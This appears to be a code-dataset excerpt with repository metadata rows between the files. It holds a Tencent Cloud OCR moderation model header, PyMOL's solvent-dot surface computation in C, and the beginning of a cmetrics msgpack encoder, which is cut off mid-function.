static AssetType SelfType;
using PropType = NoAssetProps;
spsound_info info = { };
sf::Array<spsound_take> takes;
sf::Box<AudioSource> getSource(uint32_t takeIndex) const;
};
using SoundRef = Ref<Sound>;
}
| 14.44 | 58 | 0.714681 |
3d13cd862a0f3797ebc6e4cebc62178e1d893abb | 6,339 | h | C | cms/include/tencentcloud/cms/v20190321/model/OCRItem.h | li5ch/tencentcloud-sdk-cpp | 12ebfd75a399ee2791f6ac1220a79ce8a9faf7c4 | [
"Apache-2.0"
] | 43 | 2019-08-14T08:14:12.000Z | 2022-03-30T12:35:09.000Z | cms/include/tencentcloud/cms/v20190321/model/OCRItem.h | li5ch/tencentcloud-sdk-cpp | 12ebfd75a399ee2791f6ac1220a79ce8a9faf7c4 | [
"Apache-2.0"
] | 12 | 2019-07-15T10:44:59.000Z | 2021-11-02T12:35:00.000Z | cms/include/tencentcloud/cms/v20190321/model/OCRItem.h | li5ch/tencentcloud-sdk-cpp | 12ebfd75a399ee2791f6ac1220a79ce8a9faf7c4 | [
"Apache-2.0"
] | 28 | 2019-07-12T09:06:22.000Z | 2022-03-30T08:04:18.000Z | /*
* Copyright (c) 2017-2019 THL A29 Limited, a Tencent company. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef TENCENTCLOUD_CMS_V20190321_MODEL_OCRITEM_H_
#define TENCENTCLOUD_CMS_V20190321_MODEL_OCRITEM_H_
#include <string>
#include <vector>
#include <map>
#include <tencentcloud/core/utils/rapidjson/document.h>
#include <tencentcloud/core/utils/rapidjson/writer.h>
#include <tencentcloud/core/utils/rapidjson/stringbuffer.h>
#include <tencentcloud/core/AbstractModel.h>
#include <tencentcloud/cms/v20190321/model/Coordinate.h>
namespace TencentCloud
{
namespace Cms
{
namespace V20190321
{
namespace Model
{
/**
* OCR详情
*/
class OCRItem : public AbstractModel
{
public:
OCRItem();
~OCRItem() = default;
void ToJsonObject(rapidjson::Value &value, rapidjson::Document::AllocatorType& allocator) const;
CoreInternalOutcome Deserialize(const rapidjson::Value &value);
/**
* 获取检测到的文本坐标信息
* @return TextPosition 检测到的文本坐标信息
*/
Coordinate GetTextPosition() const;
/**
* 设置检测到的文本坐标信息
* @param TextPosition 检测到的文本坐标信息
*/
void SetTextPosition(const Coordinate& _textPosition);
/**
* 判断参数 TextPosition 是否已赋值
* @return TextPosition 是否已赋值
*/
bool TextPositionHasBeenSet() const;
/**
* 获取文本命中具体标签
* @return EvilLabel 文本命中具体标签
*/
std::string GetEvilLabel() const;
/**
* 设置文本命中具体标签
* @param EvilLabel 文本命中具体标签
*/
void SetEvilLabel(const std::string& _evilLabel);
/**
* 判断参数 EvilLabel 是否已赋值
* @return EvilLabel 是否已赋值
*/
bool EvilLabelHasBeenSet() const;
/**
* 获取文本命中恶意违规类型
* @return EvilType 文本命中恶意违规类型
*/
int64_t GetEvilType() const;
/**
* 设置文本命中恶意违规类型
* @param EvilType 文本命中恶意违规类型
*/
void SetEvilType(const int64_t& _evilType);
/**
* 判断参数 EvilType 是否已赋值
* @return EvilType 是否已赋值
*/
bool EvilTypeHasBeenSet() const;
/**
* 获取文本命中违规的关键词
* @return Keywords 文本命中违规的关键词
*/
std::vector<std::string> GetKeywords() const;
/**
* 设置文本命中违规的关键词
* @param Keywords 文本命中违规的关键词
*/
void SetKeywords(const std::vector<std::string>& _keywords);
/**
* 判断参数 Keywords 是否已赋值
* @return Keywords 是否已赋值
*/
bool KeywordsHasBeenSet() const;
/**
* 获取文本涉嫌违规分值
* @return Rate 文本涉嫌违规分值
*/
int64_t GetRate() const;
/**
* 设置文本涉嫌违规分值
* @param Rate 文本涉嫌违规分值
*/
void SetRate(const int64_t& _rate);
/**
* 判断参数 Rate 是否已赋值
* @return Rate 是否已赋值
*/
bool RateHasBeenSet() const;
/**
* 获取检测到的文本信息
* @return TextContent 检测到的文本信息
*/
std::string GetTextContent() const;
/**
* 设置检测到的文本信息
* @param TextContent 检测到的文本信息
*/
void SetTextContent(const std::string& _textContent);
/**
* 判断参数 TextContent 是否已赋值
* @return TextContent 是否已赋值
*/
bool TextContentHasBeenSet() const;
private:
/**
* 检测到的文本坐标信息
*/
Coordinate m_textPosition;
bool m_textPositionHasBeenSet;
/**
* 文本命中具体标签
*/
std::string m_evilLabel;
bool m_evilLabelHasBeenSet;
/**
* 文本命中恶意违规类型
*/
int64_t m_evilType;
bool m_evilTypeHasBeenSet;
/**
* 文本命中违规的关键词
*/
std::vector<std::string> m_keywords;
bool m_keywordsHasBeenSet;
/**
* 文本涉嫌违规分值
*/
int64_t m_rate;
bool m_rateHasBeenSet;
/**
* 检测到的文本信息
*/
std::string m_textContent;
bool m_textContentHasBeenSet;
};
}
}
}
}
#endif // !TENCENTCLOUD_CMS_V20190321_MODEL_OCRITEM_H_
| 31.226601 | 116 | 0.422937 |
d23352cc616114a005c020bac7c83361cc96d411 | 19,706 | c | C | src/3rdparty/mskit/SolventDot.c | soplwang/chemkit | d62b7912f2d724a05fa8be757f383776fdd5bbcb | [
"BSD-3-Clause"
] | 1 | 2015-03-23T14:11:05.000Z | 2015-03-23T14:11:05.000Z | src/3rdparty/mskit/SolventDot.c | soplwang/chemkit | d62b7912f2d724a05fa8be757f383776fdd5bbcb | [
"BSD-3-Clause"
] | null | null | null | src/3rdparty/mskit/SolventDot.c | soplwang/chemkit | d62b7912f2d724a05fa8be757f383776fdd5bbcb | [
"BSD-3-Clause"
] | null | null | null | /*
A* -------------------------------------------------------------------
B* This file contains source code for the PyMOL computer program
C* Copyright (c) Schrodinger, LLC.
D* -------------------------------------------------------------------
E* It is unlawful to modify or remove this copyright notice.
F* -------------------------------------------------------------------
G* Please see the accompanying LICENSE file for further information.
H* -------------------------------------------------------------------
I* Additional authors of this source file include:
-* Jacques Leroy (matrix inversion)
-* Thomas Malik (matrix multiplication)
-* Whoever wrote EISPACK
Z* -------------------------------------------------------------------
*/
#include "os_predef.h"
#include "os_std.h"
#include "Base.h"
#include "MemoryDebug.h"
#include "OOMac.h"
#include "Map.h"
#include "Sphere.h"
#include "Triangle.h"
#include "Vector.h"
#include "Err.h"
#include "SurfaceJob.h"
#include "SolventDot.h"
SolventDot *SolventDotNew(MSKContext * G,
float *coord,
SurfaceJobAtomInfo * atom_info,
float probe_radius, SphereRec * sp,
int *present,
int circumscribe,
int surface_solvent, int cavity_cull,
float max_vdw,
int cavity_mode, float cavity_radius,
float cavity_cutoff)
{
int ok = true;
int b;
float vdw;
float probe_radius_plus;
int maxDot = 0;
int stopDot;
int n_coord = VLAGetSize(atom_info);
Vector3f *sp_dot = sp->dot;
OOCalloc(G, SolventDot);
/* printf("%p %p %p %f %p %p %p %d %d %d %f\n",
G,
coord,
atom_info,
probe_radius,sp,
extent,present,
circumscribe,
surface_solvent, cavity_cull,
max_vdw);
*/
stopDot = n_coord * sp->nDot + 2 * circumscribe;
I->dot = VLAlloc(float, (stopDot + 1) * 3);
I->dotNormal = VLAlloc(float, (stopDot + 1) * 3);
I->dotCode = VLACalloc(int, stopDot + 1);
probe_radius_plus = probe_radius * 1.5F;
I->nDot = 0;
{
int dotCnt = 0;
MapType *map =
MapNewFlagged(G, max_vdw + probe_radius, coord, n_coord, NULL, present);
if(G->Interrupt)
ok = false;
if(map && ok) {
float *v = I->dot;
float *n = I->dotNormal;
int *dc = I->dotCode;
int maxCnt = 0;
MapSetupExpress(map);
{
int a;
int skip_flag;
SurfaceJobAtomInfo *a_atom_info = atom_info;
for(a = 0; a < n_coord; a++) {
OrthoBusyFast(G, a, n_coord);
if((!present) || (present[a])) {
register int i;
float *v0 = coord + 3 * a;
vdw = a_atom_info->vdw + probe_radius;
skip_flag = false;
i = *(MapLocusEStart(map, v0));
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
SurfaceJobAtomInfo *j_atom_info = atom_info + j;
if(j > a) /* only check if this is atom trails */
if((!present) || present[j]) {
if(j_atom_info->vdw == a_atom_info->vdw) { /* handle singularities */
float *v1 = coord + 3 * j;
if((v0[0] == v1[0]) && (v0[1] == v1[1]) && (v0[2] == v1[2]))
skip_flag = true;
}
}
j = map->EList[i++];
}
}
if(!skip_flag) {
for(b = 0; b < sp->nDot; b++) {
float *sp_dot_b = (float*)(sp_dot + b);
register int i;
int flag = true;
v[0] = v0[0] + vdw * (n[0] = sp_dot_b[0]);
v[1] = v0[1] + vdw * (n[1] = sp_dot_b[1]);
v[2] = v0[2] + vdw * (n[2] = sp_dot_b[2]);
i = *(MapLocusEStart(map, v));
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
SurfaceJobAtomInfo *j_atom_info = atom_info + j;
if((!present) || present[j]) {
if(j != a) {
skip_flag = false;
if(j_atom_info->vdw == a_atom_info->vdw) { /* handle singularities */
float *v1 = coord + 3 * j;
if((v0[0] == v1[0]) && (v0[1] == v1[1]) && (v0[2] == v1[2]))
skip_flag = true;
}
if(!skip_flag)
if(within3f(coord + 3 * j, v, j_atom_info->vdw + probe_radius)) {
flag = false;
break;
}
}
}
j = map->EList[i++];
}
}
if(flag && (dotCnt < stopDot)) {
dotCnt++;
v += 3;
n += 3;
dc++;
I->nDot++;
}
}
}
if(dotCnt > maxCnt) {
maxCnt = dotCnt;
maxDot = I->nDot - 1;
}
}
a_atom_info++;
}
}
/* for each pair of proximal atoms, circumscribe a circle for their intersection */
/* CGOReset(G->DebugCGO); */
{
MapType *map2 = NULL;
if(circumscribe && (!surface_solvent))
map2 =
MapNewFlagged(G, 2 * (max_vdw + probe_radius), coord, n_coord, NULL, present);
if(G->Interrupt)
ok = false;
if(map2 && ok) {
/* CGOBegin(G->DebugCGO,GL_LINES); */
int a;
int skip_flag;
SurfaceJobAtomInfo *a_atom_info = atom_info;
MapSetupExpress(map2);
for(a = 0; a < n_coord; a++) {
if((!present) || present[a]) {
register int i;
float vdw2;
float *v0 = coord + 3 * a;
vdw = a_atom_info->vdw + probe_radius;
vdw2 = vdw * vdw;
skip_flag = false;
i = *(MapLocusEStart(map2, v0));
if(i) {
register int j = map2->EList[i++];
while(j >= 0) {
SurfaceJobAtomInfo *j_atom_info = atom_info + j;
if(j > a) /* only check if this is atom trails */
if((!present) || present[j]) {
if(j_atom_info->vdw == a_atom_info->vdw) { /* handle singularities */
float *v2 = coord + 3 * j;
if((v0[0] == v2[0]) && (v0[1] == v2[1]) && (v0[2] == v2[2]))
skip_flag = true;
}
}
j = map2->EList[i++];
}
}
if(!skip_flag) {
register int ii = *(MapLocusEStart(map2, v0));
if(ii) {
register int jj = map2->EList[ii++];
while(jj >= 0) {
SurfaceJobAtomInfo *jj_atom_info = atom_info + jj;
float dist;
if(jj > a) /* only check if this is atom trails */
if((!present) || present[jj]) {
float vdw3 = jj_atom_info->vdw + probe_radius;
float *v2 = coord + 3 * jj;
dist = (float) diff3f(v0, v2);
if((dist > R_SMALL4) && (dist < (vdw + vdw3))) {
float vz[3], vx[3], vy[3], vp[3];
float tri_a = vdw, tri_b = vdw3, tri_c = dist;
float tri_s = (tri_a + tri_b + tri_c) * 0.5F;
float area = (float) sqrt1f(tri_s * (tri_s - tri_a) *
(tri_s - tri_b) * (tri_s - tri_c));
float radius = (2 * area) / dist;
float adj = (float) sqrt1f(vdw2 - radius * radius);
subtract3f(v2, v0, vz);
get_system1f3f(vz, vx, vy);
copy3f(vz, vp);
scale3f(vp, adj, vp);
add3f(v0, vp, vp);
for(b = 0; b <= circumscribe; b++) {
float xcos = (float) cos((b * 2 * cPI) / circumscribe);
float ysin = (float) sin((b * 2 * cPI) / circumscribe);
float xcosr = xcos * radius;
float ysinr = ysin * radius;
int flag = true;
v[0] = vp[0] + vx[0] * xcosr + vy[0] * ysinr;
v[1] = vp[1] + vx[1] * xcosr + vy[1] * ysinr;
v[2] = vp[2] + vx[2] * xcosr + vy[2] * ysinr;
i = *(MapLocusEStart(map, v));
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
SurfaceJobAtomInfo *j_atom_info = atom_info + j;
if((!present) || present[j])
if((j != a) && (j != jj)) {
skip_flag = false;
if(a_atom_info->vdw == j_atom_info->vdw) { /* handle singularities */
float *v1 = coord + 3 * j;
if((v0[0] == v1[0]) &&
(v0[1] == v1[1]) && (v0[2] == v1[2]))
skip_flag = true;
}
if(jj_atom_info->vdw == j_atom_info->vdw) { /* handle singularities */
float *v1 = coord + 3 * j;
if((v2[0] == v1[0]) &&
(v2[1] == v1[1]) && (v2[2] == v1[2]))
skip_flag = true;
}
if(!skip_flag)
if(within3f(coord + 3 * j, v,
j_atom_info->vdw + probe_radius)) {
flag = false;
break;
}
}
j = map->EList[i++];
}
}
if(flag && (dotCnt < stopDot)) {
float vt0[3], vt2[3];
subtract3f(v0, v, vt0);
subtract3f(v2, v, vt2);
normalize3f(vt0);
normalize3f(vt2);
add3f(vt0, vt2, n);
invert3f(n);
normalize3f(n);
/*
n[0] = vx[0] * xcos + vy[0] * ysin;
n[1] = vx[1] * xcos + vy[1] * ysin;
n[2] = vx[2] * xcos + vy[2] * ysin;
*/
*dc = 1; /* mark as exempt */
dotCnt++;
v += 3;
n += 3;
dc++;
I->nDot++;
}
}
}
}
jj = map2->EList[ii++];
}
}
}
}
a_atom_info++;
if(G->Interrupt) {
ok = false;
break;
}
}
}
MapFree(map2);
}
}
MapFree(map);
}
if(cavity_mode) {
float *cavityDot = VLAlloc(float, (stopDot + 1) * 3);
int nCavityDot = 0;
int dotCnt = 0;
if(cavity_radius<0.0F) {
cavity_radius = - probe_radius * cavity_radius;
}
if(cavity_cutoff<0.0F) {
cavity_cutoff = cavity_radius - cavity_cutoff * probe_radius;
}
{
MapType *map =
MapNewFlagged(G, max_vdw + cavity_radius, coord, n_coord, NULL, present);
if(G->Interrupt)
ok = false;
if(map && ok) {
float *v = cavityDot;
MapSetupExpress(map);
{
int a;
int skip_flag;
SurfaceJobAtomInfo *a_atom_info = atom_info;
for(a = 0; a < n_coord; a++) {
if((!present) || (present[a])) {
register int i;
float *v0 = coord + 3 * a;
vdw = a_atom_info->vdw + cavity_radius;
skip_flag = false;
i = *(MapLocusEStart(map, v0));
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
SurfaceJobAtomInfo *j_atom_info = atom_info + j;
if(j > a) /* only check if this is atom trails */
if((!present) || present[j]) {
if(j_atom_info->vdw == a_atom_info->vdw) { /* handle singularities */
float *v1 = coord + 3 * j;
if((v0[0] == v1[0]) && (v0[1] == v1[1]) && (v0[2] == v1[2]))
skip_flag = true;
}
}
j = map->EList[i++];
}
}
if(!skip_flag) {
for(b = 0; b < sp->nDot; b++) {
float *sp_dot_b = (float*)(sp_dot + b);
register int i;
int flag = true;
v[0] = v0[0] + vdw * (sp_dot_b[0]);
v[1] = v0[1] + vdw * (sp_dot_b[1]);
v[2] = v0[2] + vdw * (sp_dot_b[2]);
i = *(MapLocusEStart(map, v));
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
SurfaceJobAtomInfo *j_atom_info = atom_info + j;
if((!present) || present[j]) {
if(j != a) {
skip_flag = false;
if(j_atom_info->vdw == a_atom_info->vdw) {
/* handle singularities */
float *v1 = coord + 3 * j;
if((v0[0] == v1[0]) && (v0[1] == v1[1]) && (v0[2] == v1[2]))
skip_flag = true;
}
if(!skip_flag) {
if(within3f(coord + 3 * j, v, j_atom_info->vdw + cavity_radius)) {
flag = false;
break;
}
}
}
}
j = map->EList[i++];
}
}
if(flag && (dotCnt < stopDot)) {
v += 3;
nCavityDot++;
dotCnt++;
}
}
}
}
a_atom_info++;
}
}
}
MapFree(map);
}
{
int *dot_flag = Calloc(int, I->nDot);
ErrChkPtr(G, dot_flag);
{
MapType *map = MapNew(G, cavity_cutoff, cavityDot, nCavityDot, NULL);
if(map) {
MapSetupExpress(map);
{
int *p = dot_flag;
float *v = I->dot;
int a;
for(a = 0; a < I->nDot; a++) {
register int i = *(MapLocusEStart(map, v));
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
if(within3f(cavityDot + (3 * j), v, cavity_cutoff)) {
*p = true;
break;
}
j = map->EList[i++];
}
}
v += 3;
p++;
if(G->Interrupt) {
ok = false;
break;
}
}
}
}
MapFree(map);
}
{
float *v0 = I->dot;
float *n0 = I->dotNormal;
int *dc0 = I->dotCode;
int *p = dot_flag;
int c = I->nDot;
float *n = n0;
float *v = v0;
int *dc = dc0;
int a;
I->nDot = 0;
for(a = 0; a < c; a++) {
if(!*(p++)) {
*(v0++) = *(v++);
*(n0++) = *(n++);
*(v0++) = *(v++);
*(n0++) = *(n++);
*(v0++) = *(v++);
*(n0++) = *(n++);
*(dc0++) = *(dc++);
I->nDot++;
} else {
v += 3;
n += 3;
}
}
}
FreeP(dot_flag);
}
VLAFreeP(cavityDot);
}
if(ok && (cavity_mode != 1) && (cavity_cull > 0) &&
(probe_radius > 0.75F) && (!surface_solvent)) {
int *dot_flag = Calloc(int, I->nDot);
ErrChkPtr(G, dot_flag);
#if 0
dot_flag[maxDot] = 1; /* this guarantees that we have a valid dot */
#endif
{
MapType *map = MapNew(G, probe_radius_plus, I->dot, I->nDot, NULL);
if(map) {
int flag = true;
MapSetupExpress(map);
while(flag) {
int *p = dot_flag;
float *v = I->dot;
int a;
flag = false;
for(a = 0; a < I->nDot; a++) {
if(!dot_flag[a]) {
register int i = *(MapLocusEStart(map, v));
int cnt = 0;
if(i) {
register int j = map->EList[i++];
while(j >= 0) {
if(j != a) {
if(within3f(I->dot + (3 * j), v, probe_radius_plus)) {
if(dot_flag[j]) {
*p = true;
flag = true;
break;
}
cnt++;
if(cnt > cavity_cull) {
*p = true;
flag = true;
break;
}
}
}
j = map->EList[i++];
}
}
}
v += 3;
p++;
}
if(G->Interrupt) {
ok = false;
break;
}
}
}
MapFree(map);
}
{
float *v0 = I->dot;
float *n0 = I->dotNormal;
int *dc0 = I->dotCode;
int *p = dot_flag;
int c = I->nDot;
float *n = n0;
float *v = v0;
int *dc = dc0;
int a;
I->nDot = 0;
for(a = 0; a < c; a++) {
if(*(p++)) {
*(v0++) = *(v++);
*(n0++) = *(n++);
*(v0++) = *(v++);
*(n0++) = *(n++);
*(v0++) = *(v++);
*(n0++) = *(n++);
*(dc0++) = *(dc++);
I->nDot++;
} else {
v += 3;
n += 3;
}
}
}
FreeP(dot_flag);
}
if(!ok) {
SolventDotFree(I);
I = NULL;
}
return I;
}
void SolventDotFree(SolventDot * I)
{
if(I) {
VLAFreeP(I->dot);
VLAFreeP(I->dotNormal);
VLAFreeP(I->dotCode);
}
OOFreeP(I);
}
| 33.570698 | 106 | 0.343195 |
cfd325af64542c47924d13967cffc2446b7b6b32 | 17,188 | c | C | lib/cmetrics/src/cmt_encode_msgpack.c | 0Delta/fluent-bit | f0ce4b39a73863213fefb2c240232ff8d7a94bf5 | [
"Apache-2.0"
] | 1 | 2020-01-21T09:56:45.000Z | 2020-01-21T09:56:45.000Z | lib/cmetrics/src/cmt_encode_msgpack.c | 0Delta/fluent-bit | f0ce4b39a73863213fefb2c240232ff8d7a94bf5 | [
"Apache-2.0"
] | 5 | 2022-02-24T18:40:08.000Z | 2022-03-26T16:12:27.000Z | lib/cmetrics/src/cmt_encode_msgpack.c | 0Delta/fluent-bit | f0ce4b39a73863213fefb2c240232ff8d7a94bf5 | [
"Apache-2.0"
] | null | null | null | /* -*- Mode: C; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/* CMetrics
* ========
* Copyright 2021 Eduardo Silva <eduardo@calyptia.com>
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <cmetrics/cmetrics.h>
#include <cmetrics/cmt_metric.h>
#include <cmetrics/cmt_map.h>
#include <cmetrics/cmt_sds.h>
#include <cmetrics/cmt_histogram.h>
#include <cmetrics/cmt_summary.h>
#include <cmetrics/cmt_counter.h>
#include <cmetrics/cmt_gauge.h>
#include <cmetrics/cmt_untyped.h>
#include <cmetrics/cmt_compat.h>
#include <cmetrics/cmt_encode_msgpack.h>
#include <mpack/mpack.h>
static ptrdiff_t find_label_index(struct mk_list *label_list, cmt_sds_t label_name)
{
struct mk_list *head;
struct cmt_map_label *label;
size_t entry_index;
entry_index = 0;
mk_list_foreach(head, label_list) {
label = mk_list_entry(head, struct cmt_map_label, _head);
if (0 == strcmp(label_name, label->name)) {
return entry_index;
}
entry_index++;
}
return -1;
}
struct cmt_map_label *create_label(char *label_text)
{
struct cmt_map_label *new_label;
new_label = calloc(1, sizeof(struct cmt_map_label));
if (NULL != new_label) {
new_label->name = cmt_sds_create(label_text);
if (NULL == new_label->name) {
free(new_label);
new_label = NULL;
}
}
return new_label;
}
static int gather_label_entries(struct mk_list *unique_label_list,
struct mk_list *source_label_list)
{
struct mk_list *head;
struct cmt_map_label *label;
struct cmt_map_label *new_label;
ptrdiff_t label_index;
mk_list_foreach(head, source_label_list) {
label = mk_list_entry(head, struct cmt_map_label, _head);
label_index = find_label_index(unique_label_list, label->name);
if (-1 == label_index) {
new_label = create_label(label->name);
if(NULL == new_label) {
return 1;
}
mk_list_add(&new_label->_head, unique_label_list);
}
}
return 0;
}
static int gather_label_entries_in_map(struct mk_list *unique_label_list,
struct cmt_map *map)
{
struct mk_list *head;
struct cmt_metric *metric;
int result;
result = gather_label_entries(unique_label_list, &map->label_keys);
if (0 == result) {
mk_list_foreach(head, &map->metrics) {
metric = mk_list_entry(head, struct cmt_metric, _head);
result = gather_label_entries(unique_label_list, &metric->labels);
if (0 != result) {
break;
}
}
}
return result;
}
static int gather_static_label_entries(struct mk_list *unique_label_list,
struct cmt *cmt)
{
struct mk_list *head;
struct cmt_map_label *new_label;
ptrdiff_t label_index;
struct cmt_label *static_label;
mk_list_foreach(head, &cmt->static_labels->list) {
static_label = mk_list_entry(head, struct cmt_label, _head);
label_index = find_label_index(unique_label_list, static_label->key);
if (-1 == label_index) {
new_label = create_label(static_label->key);
if(NULL == new_label) {
return 1;
}
mk_list_add(&new_label->_head, unique_label_list);
}
label_index = find_label_index(unique_label_list, static_label->val);
if (-1 == label_index) {
new_label = create_label(static_label->val);
if(NULL == new_label) {
return 1;
}
mk_list_add(&new_label->_head, unique_label_list);
}
/* If we got this far then we are sure we have the entry in the list */
}
return 0;
}
static void pack_header(mpack_writer_t *writer, struct cmt *cmt, struct cmt_map *map, struct mk_list *unique_label_list)
{
struct cmt_opts *opts;
struct mk_list *head;
struct cmt_map_label *label;
size_t index;
struct cmt_summary *summary;
struct cmt_histogram *histogram;
ptrdiff_t label_index;
struct cmt_label *static_label;
size_t meta_field_count;
opts = map->opts;
meta_field_count = 6;
if (map->type == CMT_HISTOGRAM) {
histogram = (struct cmt_histogram *) map->parent;
meta_field_count++;
}
if (map->type == CMT_SUMMARY) {
summary = (struct cmt_summary *) map->parent;
meta_field_count++;
}
mpack_start_map(writer, 2);
/* 'meta' */
mpack_write_cstr(writer, "meta");
mpack_start_map(writer, meta_field_count);
/* 'ver' */
mpack_write_cstr(writer, "ver");
mpack_write_uint(writer, MSGPACK_ENCODER_VERSION);
/* 'type' */
mpack_write_cstr(writer, "type");
mpack_write_uint(writer, map->type);
/* 'opts' */
mpack_write_cstr(writer, "opts");
mpack_start_map(writer, 4);
/* opts['ns'] */
mpack_write_cstr(writer, "ns");
mpack_write_cstr(writer, opts->ns);
/* opts['subsystem'] */
mpack_write_cstr(writer, "ss");
mpack_write_cstr(writer, opts->subsystem);
/* opts['name'] */
mpack_write_cstr(writer, "name");
mpack_write_cstr(writer, opts->name);
/* opts['description'] */
mpack_write_cstr(writer, "desc");
mpack_write_cstr(writer, opts->description);
mpack_finish_map(writer); /* 'opts' */
/* 'label_dictionary' (unique label key text) */
mpack_write_cstr(writer, "label_dictionary");
mpack_start_array(writer, mk_list_size(unique_label_list));
mk_list_foreach(head, unique_label_list) {
label = mk_list_entry(head, struct cmt_map_label, _head);
mpack_write_cstr(writer, label->name);
}
mpack_finish_array(writer);
/* 'static_labels' (static labels) */
mpack_write_cstr(writer, "static_labels");
mpack_start_array(writer, mk_list_size(&cmt->static_labels->list) * 2);
mk_list_foreach(head, &cmt->static_labels->list) {
static_label = mk_list_entry(head, struct cmt_label, _head);
label_index = find_label_index(unique_label_list, static_label->key);
mpack_write_uint(writer, (uint16_t) label_index);
label_index = find_label_index(unique_label_list, static_label->val);
mpack_write_uint(writer, (uint16_t) label_index);
/* If we got this far then we are sure we have the entry in the list */
}
mpack_finish_array(writer);
/* 'labels' (label keys) */
mpack_write_cstr(writer, "labels");
mpack_start_array(writer, map->label_count);
mk_list_foreach(head, &map->label_keys) {
label = mk_list_entry(head, struct cmt_map_label, _head);
label_index = find_label_index(unique_label_list, label->name);
mpack_write_uint(writer, (uint16_t) label_index);
/* If we got this far then we are sure we have the entry in the list */
}
mpack_finish_array(writer);
if (map->type == CMT_HISTOGRAM) {
/* 'buckets' (histogram buckets) */
mpack_write_cstr(writer, "buckets");
mpack_start_array(writer, histogram->buckets->count);
for (index = 0 ;
index < histogram->buckets->count ;
index++) {
mpack_write_double(writer, histogram->buckets->upper_bounds[index]);
}
mpack_finish_array(writer);
}
else if (map->type == CMT_SUMMARY) {
/* 'quantiles' (summary quantiles) */
mpack_write_cstr(writer, "quantiles");
mpack_start_array(writer, summary->quantiles_count);
for (index = 0 ;
index < summary->quantiles_count ;
index++) {
mpack_write_double(writer, summary->quantiles[index]);
}
mpack_finish_array(writer);
}
mpack_finish_map(writer); /* 'meta' */
}
static int pack_metric(mpack_writer_t *writer, struct cmt_map *map, struct cmt_metric *metric, struct mk_list *unique_label_list)
{
int c_labels;
int s;
double val;
size_t index;
struct mk_list *head;
struct cmt_map_label *label;
struct cmt_summary *summary;
struct cmt_histogram *histogram;
ptrdiff_t label_index;
c_labels = mk_list_size(&metric->labels);
s = 3;
if (c_labels > 0) {
s++;
}
mpack_start_map(writer, s);
mpack_write_cstr(writer, "ts");
mpack_write_uint(writer, metric->timestamp);
if (map->type == CMT_HISTOGRAM) {
histogram = (struct cmt_histogram *) map->parent;
mpack_write_cstr(writer, "histogram");
mpack_start_map(writer, 3);
mpack_write_cstr(writer, "buckets");
mpack_start_array(writer, histogram->buckets->count);
for (index = 0 ;
index < histogram->buckets->count ;
index++) {
mpack_write_uint(writer, cmt_metric_hist_get_value(metric, index));
}
mpack_finish_array(writer);
mpack_write_cstr(writer, "sum");
mpack_write_double(writer, cmt_metric_hist_get_sum_value(metric));
mpack_write_cstr(writer, "count");
mpack_write_uint(writer, cmt_metric_hist_get_count_value(metric));
mpack_finish_map(writer); /* 'histogram' */
}
else if (map->type == CMT_SUMMARY) {
summary = (struct cmt_summary *) map->parent;
mpack_write_cstr(writer, "summary");
mpack_start_map(writer, 4);
mpack_write_cstr(writer, "quantiles_set");
mpack_write_uint(writer, metric->sum_quantiles_set);
mpack_write_cstr(writer, "quantiles");
mpack_start_array(writer, summary->quantiles_count);
for (index = 0 ; index < summary->quantiles_count ; index++) {
mpack_write_uint(writer, metric->sum_quantiles[index]);
}
mpack_finish_array(writer);
mpack_write_cstr(writer, "count");
mpack_write_uint(writer, cmt_summary_get_count_value(metric));
mpack_write_cstr(writer, "sum");
mpack_write_uint(writer, metric->sum_sum);
mpack_finish_map(writer); /* 'summary' */
}
else {
mpack_write_cstr(writer, "value");
val = cmt_metric_get_value(metric);
mpack_write_double(writer, val);
}
s = mk_list_size(&metric->labels);
if (s > 0) {
mpack_write_cstr(writer, "labels");
mpack_start_array(writer, c_labels);
mk_list_foreach(head, &metric->labels) {
label = mk_list_entry(head, struct cmt_map_label, _head);
label_index = find_label_index(unique_label_list, label->name);
mpack_write_uint(writer, (uint16_t) label_index);
}
mpack_finish_array(writer);
}
mpack_write_cstr(writer, "hash");
mpack_write_uint(writer, metric->hash);
mpack_finish_map(writer);
return 0;
}
static int pack_basic_type(mpack_writer_t *writer, struct cmt *cmt, struct cmt_map *map)
{
int result;
int values_size = 0;
struct mk_list *head;
struct cmt_metric *metric;
struct mk_list unique_label_list;
mk_list_init(&unique_label_list);
result = gather_static_label_entries(&unique_label_list, cmt);
if (0 != result) {
fprintf(stderr, "An error occurred preprocessing the data!\n");
return -1;
}
result = gather_label_entries_in_map(&unique_label_list, map);
if (0 != result) {
fprintf(stderr, "An error occurred preprocessing the data!\n");
return -1;
}
pack_header(writer, cmt, map, &unique_label_list);
if (map->metric_static_set) {
values_size++;
}
values_size += mk_list_size(&map->metrics);
mpack_write_cstr(writer, "values");
mpack_start_array(writer, values_size);
if (map->metric_static_set) {
pack_metric(writer, map, &map->metric, &unique_label_list);
}
mk_list_foreach(head, &map->metrics) {
metric = mk_list_entry(head, struct cmt_metric, _head);
pack_metric(writer, map, metric, &unique_label_list);
}
mpack_finish_array(writer);
mpack_finish_map(writer);
destroy_label_list(&unique_label_list);
return 0;
}
/* Takes a cmetrics context and serialize it using msgpack */
int cmt_encode_msgpack_create(struct cmt *cmt, char **out_buf, size_t *out_size)
{
char *data;
size_t size;
mpack_writer_t writer;
struct mk_list *head;
struct cmt_counter *counter;
struct cmt_gauge *gauge;
struct cmt_untyped *untyped;
struct cmt_summary *summary;
struct cmt_histogram *histogram;
size_t metric_count;
/*
* CMetrics data schema
* [
* {
